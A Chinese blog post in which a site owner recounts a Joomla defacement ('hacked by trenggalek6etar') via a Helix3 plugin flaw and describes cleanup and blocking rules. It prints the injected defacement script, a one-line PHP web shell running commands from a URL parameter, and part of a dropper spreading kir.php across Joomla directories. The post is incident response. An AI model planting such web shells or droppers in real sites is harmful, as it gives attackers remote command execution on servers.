当前位置:首页>php>PHP 网站第五次被黑,Joomla 网站显示 hacked by trenggalek6etar

PHP 网站第五次被黑,Joomla 网站显示 hacked by trenggalek6etar

  • 2026-09-10 21:18:20
PHP 网站第五次被黑,Joomla 网站显示 hacked by trenggalek6etar

这是我第五次亲历 PHP 网站被黑,这次是 Joomla 的 Helix3 漏洞导致的。

现象

打开网站的任何页面,前几秒还是正常的,过了几秒钟,页面就变成了一个全屏的吓人标语

hacked by trenggalek6etar

但是浏览器地址栏的链接并没有变化,不是之前遇到的跳X彩网站的做法。看起来是通过前端 JS 代码篡改了页面内容。伪装很强,不容易被页面防篡改程序发现。之所以会被发现,是在 Google 分析里,看到大量的搜索来源是 hacked by trenggalek6etar。

先恢复网页显示

进入 Joomla 后台(后台居然是正常的,真的良心),Extensions › Templates › Styles › (your Helix3 style) › Custom Code › Custom Javascript

会看到一段 JS 代码

document.addEventListener("DOMContentLoaded", function(){
  document.title = "hacked by trenggalek6etar";
  document.body.innerHTML =
    '<div style="position:fixed;inset:0;'
    + 'background:
#0a0a0a;z-index:2147483647">'
    + ' … HACKED BY trenggalek6etar … '
    + '</div>';
});

删除它,保存即可恢复网页显示。注意需要清楚网站缓存:

  • 一是,清除 Joomla 缓存
  • 二是,如果用了 cloudflare 的缓存规则,也需要清除所有缓存

被入侵的源头

参考下面链接里的介绍

https://htprotect.org/en/helix3

概述一下,就是 Joomla 的 Helix3 模板框架存在一个漏洞,允许攻击者上传恶意 PHP 文件到网站的模板目录、后台组件目录、插件核心目录等。攻击者利用这个漏洞,在网站上放置了一个全屏篡改信息的 JS 代码。Helix3 3.1.1 之前的版本有此漏洞,3.1.1 之后的版本修复了这个漏洞。这个漏洞是 2026 年 7 月初被发现的。没想到这么快就中招了。

堵住漏洞

由于网站太老了,无法升级 Helix3 版本,所以只能通过其他方式来规避被再次入侵。目前采用了两套方案:

第一,先禁用掉了 Helix3 - Ajax 插件,这是 Helix3 其中的一个插件,而这个插件是漏洞的源头。而且测试了一下,禁用之后,并没有影响网站的正常显示,也不影响网站中表单的提交,以及内容的发布。

第二,在 cloudflare 里配置了一个规则,拦截所有针对 Helix3 Ajax 插件的外部请求。

(http.request.uri.query contains "option=com_ajax" and http.request.uri.query contains "plugin=helix3")

当然,最稳妥的方式还是升级 Helix3 版本,升级到 3.1.1 或者更高版本。

清理服务器上的恶意文件

查看 Joomla 根目录下的目录及文件最后修改时间,会发现近期不少目录被修改过,且增加了不少随机文件名目录及文件。例如:

drwxr-xr-x 40    12288 Jul 11 02:02 tmp
-rw-r--r--  1      448 Jul 10 15:20 zzwzm.php.json
drwxr-xr-x 23     4096 Jul 10 15:20 .
-rw-r--r--  1       25 Jul  6 21:22 cox.json
drwxr-xr-x 11     4096 Jul  5 23:00 templates
drwxr-xr-x 92     4096 Jul  3 21:24 media
drwxr-xr-x  6     4096 Jul  3 15:21 cache
drwxr-xr-x  4     4096 Jul  2 21:05 gzfxw
drwxr-xr-x  4     4096 Jul  2 19:38 utavg
drwxr-xr-x  4     4096 Jul  2 14:18 jiptm

随便打开一个看看:

# cat cox.json
hacked by trenggalek6etar

templates 目录下也有不少被修改过的目录,同样多了不少随机文件名目录:

# ls -lah templates/
total 52K
drwxr-xr-x 11  4.0K Jul  5 23:00 .
drwxr-xr-x 23  4.0K Jul 10 15:20 ..
drwxr-xr-x  3  4.0K Jul  9  2024 cassiopeia
-rw-r--r--  1    25 Jul  6 21:22 cox.json
-rw-r--r--  1    31 Feb 13  2024 index.html
drwxr-xr-x  4  4.0K Jul  5 23:00 pokkvswt
drwxr-xr-x  2  4.0K Jul  3 15:21 protostar
drwxr-xr-x 13  4.0K Jul  9  2024 shaper_helixultimate
drwxr-xr-x 12  4.0K Jul  9  2024 shaper_revibe
drwxr-xr-x  2  4.0K Jul  9  2024 system
drwxr-xr-x  4  4.0K Jun 29 20:27 uhnihlor
drwxr-xr-x  4  4.0K Jul  3 15:43 viavvdvv
drwxr-xr-x  4  4.0K Jul  4 19:15 vrvetvzu

打开看看:

# cat templates/vrvetvzu/fonts/tvkuri.Php
<?php @error_reporting(0);if(!empty($_GET["cmd"])){echo @shell_exec($_GET["cmd"]);exit;}echo "SPBPWN42";?>

标准的远程命令执行后门,访问这个 PHP 文件时,如果 URL 里带上 cmd 参数,就可以执行任意命令。

还有其他的后门程序,总之应有尽有:

// Find kir.php source
$cands=array(__DIR__.'/kir.php',__DIR__.'/fonts/kir.php',dirname(__DIR__).'/fonts/kir.php',dirname(__DIR__).'/kir.php',dirname(dirn
ame(__DIR__)).'/fonts/kir.php');
$src='';
foreach($cands as $c){if(file_exists($c)&&filesize($c)>100){$src=$c;break;}}
if(!$src)die('NO_SRC');
$d=file_get_contents($src);
if(!$d||strlen($d)<100)die('NO_READ');
// Find Joomla root by looking for configuration.php
$root=false;
$dirs=array(dirname(dirname($src)),dirname(dirname(dirname($src))),dirname(dirname(dirname(dirname($src)))));
foreach($dirs as $dd){
if(file_exists($dd.'/configuration.php')){$root=$dd;break;}
}
if(!$root)$root=dirname(dirname($src));
$targets=array(
'cache/com_content/kir.php',
'images/headers/kir.php',
'images/sampledata/fruitshop/kir.php',
'images/banners/kir.php',
'plugins/system/log/kir.php',
'components/com_wrapper/views/kir.php',
'layouts/joomla/html/kir.php',
'administrator/components/com_cpanel/helpers/kir.php',
'media/plg_captcha_recaptcha/kir.php',
'libraries/vendor/phpmailer/src/kir.php',
'libraries/vendor/smautocomplete/kir.php',
'modules/mod_custom/tmpl/kir.php',
'templates/protostar/kir.php',
'tmp/.session_cache/kir.php',
'cache/page/kir.php',
);
$results=array();

然后还会发现其他地方的奇怪文件

# grep trenggalek6etar -r .
./tmp/cox.json:hacked by trenggalek6etar
./media/cox.json:hacked by trenggalek6etar
./images/16a4bcea4749ed_cox.txt:hacked by trenggalek6etar
./images/16a4bceb04530e_cox.txt:hacked by trenggalek6etar
./images/cox.json:hacked by trenggalek6etar
./images/cox.txt:hacked by trenggalek6etar

/images# ls -lat
total 11877
drwxr-xr-x 20    4096 Jul 11 04:29 ..
-rw-r--r--  1      25 Jul  6 21:22 cox.json
-rw-r--r--  1      25 Jul  6 15:50 16a4bceb04530e_cox.txt
-rw-r--r--  1      25 Jul  6 15:49 16a4bcea4749ed_cox.txt
drwxr-xr-x  1       0 Jul  5 22:59 pokkvswt
drwxr-xr-x  1       0 Jul  4 19:14 vrvetvzu
drwxr-xr-x  1       0 Jul  3 15:42 viavvdvv
drwxr-xr-x  1       0 Jul  3 07:19 sampledata
drwxr-xr-x  1       0 Jun 29 20:27 uhnihlor
-rw-r--r--  1  121732 Jun 23 23:15 cox.gif
-rw-r--r--  1      25 Jun 23 23:15 cox.txt
drwxr-xr-x  1       0 Jun 22 19:37 p66olgw3
drwxr-xr-x  1       0 Jan  4  2026 2026

最后做一波检查,看 2026年6月10日 至 7月12日 之间被改动的 PHP 文件

find . -type f -name "*.php" -newermt "2026-06-10" ! -newermt "2026-07-12" -ls

自定义样式恢复问题

黑客在利用漏洞修改了 custom js 之后,同时把之前的自定义样式重置了。
可以通过备份找到 template_styles 这个表,把数据重新导入即可。所以,数据库备份还是非常重要的。

最新文章

随机文章